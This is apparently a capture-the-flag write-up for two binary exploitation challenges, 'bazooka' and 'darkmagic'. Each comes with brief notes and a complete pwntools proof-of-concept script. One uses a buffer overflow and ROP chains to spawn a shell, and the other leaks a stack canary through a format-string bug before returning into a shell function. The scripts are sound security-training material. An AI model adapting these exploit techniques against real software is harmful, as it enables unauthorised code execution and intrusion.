bazooka

Binary

bazooka

Notes

  • scanf() BoF in vuln().
  • no-pie
  • Tried to find offset of /bin/sh in libc using libc leak and it seems like we are out of luck
  • Could use bss segment as code cave to write /bin/sh string
BoF
bss segment address 0x00601068
  1. Control PC using BOF
  2. Create a ROP chain to write “/bin/sh” in unused data section then jump back to vuln()
  3. Create a ROP chain to POP_RDI code cave(/bin/sh str) then jump to system() in the code

POC

from pwn import *
from Crypto.Util.number import long_to_bytes
from dataclasses import dataclass

class ROPGAD:
    POP_RDI = p64(0x00000000004008f3)
    RET = p64(0x0000000000400596)
    POP_RSI_POP_R15 = p64(0x4008f1)
    POP_RAX_CLUB_RDI = p64(0x400819)

def send_secret_msg(secret_msg: bytes):
    io.sendlineafter('message:', secret_msg)

def send_vuln_msg(vuln_msg: bytes):
    io.sendlineafter('Message: ', vuln_msg)

def send_junk_msg(junk_msg: bytes):
    io.sendlineafter('junk: ', junk_msg)


def create_scanf_rop(target_addr: int, ret_addr: int) -> bytes:
    SCANF = p64(0x40077e)
    rop_chain = (
        b''
        + ROPGAD.POP_RSI_POP_R15
        + p64(target_addr)
        + b'A' * 8
        + ROPGAD.RET
        + SCANF
        + p64(ret_addr)
    )

    return rop_chain



def control_pc(rop_chain: bytes):
    BUFFER_SIZE = 120
    bof = b'A'* BUFFER_SIZE

    secret = "#!@{try_hard3r}"
    send_secret_msg(secret)
    send_vuln_msg(bof + rop_chain)


def write_code_cave(code_cave_addr: int, msg: str, ret_addr: int):
    code_cave_ropchain = create_scanf_rop(code_cave_addr, ret_addr)
    control_pc(code_cave_ropchain)
    io.sendline(msg)

def create_system_sh(binsh_addr):
    SYSTEM = p64(0x4005c0)
    BINSH = p64(binsh_addr)
    rop_chain = (
        b''
        + ROPGAD.POP_RDI
        + BINSH
        + ROPGAD.RET
        + SYSTEM
    )

    return rop_chain



def main():
    VULN = 0x4006f7
    binsh_code_cave = 0x601068

    write_code_cave(binsh_code_cave, '/bin/sh', VULN)
    control_pc(create_system_sh(binsh_code_cave))

    io.interactive()

if __name__ == '__main__':
    io = process('pwn_bazooka_bazooka')

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']

    

    main()

darkmagic

Binary

darkmagic

Notes

  • BoF in vuln()
  • There is stack canary
  • no-pie
  • for loop that read twice and printf twice
  • format string on printf
vuln()

Steps

  1. Use BoF to override the max_cntr that is 1 to 0xa so that you can read and printf multiple times
  2. Leak stack canary using format string vuln
  3. Use BoF to override stack canary with correct value and control pc
  4. Create ROP that jumps to getshell()

POC

from pwn import *

is_local = False

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
if is_local:
    pty = process.PTY
    io = process('pwn_darkmagic_darkmagic', stdin=pty, stdout=pty)
    # gdb.attach(io,'''
    #         b *0x4007eb
    # ''')
else:
    io = remote("35.234.65.24", 30750)



def send_magic(msg_1: bytes, msg_2: bytes):
    io.sendline(msg_1)
    io.sendline(msg_2)

# Offset 16
def leak_stack(depth: int = 0x10):
    send_magic(b'%p,' * depth,'')
    addr_list = io.recvline().split(b',')
    io.clean()

    for index, addr in enumerate(addr_list):
        log.info(f'offset: {index+1} @ {addr}')


io.recvuntil('Dark Magic is here!\n')

# Overwrite the max_cntr varible for forloop in vuln
send_magic(b'A'*100 + b'\x0a\x00\x00\x00', '')
sleep(1)
io.clean()
sleep(1)
send_magic(b'%35$p','')
canary = int(io.recvline()[:-1], 16)
# canary = int(io.recvline()[:-1], 16)
log.info(f'Canary: {hex(canary)}')
io.clean()
sleep(1)

JUNK_2_CANARY = b'A' * 0xd8
CANARY = p64(canary)
JUNK_2_RET = b'A' * 0x8
GETSHELL = p64(0x40073b)
payload_1 = (
    b''
    + JUNK_2_CANARY
    + CANARY
    + JUNK_2_RET
    + GETSHELL
)

sleep(1)
send_magic(payload_1, '')

io.interactive()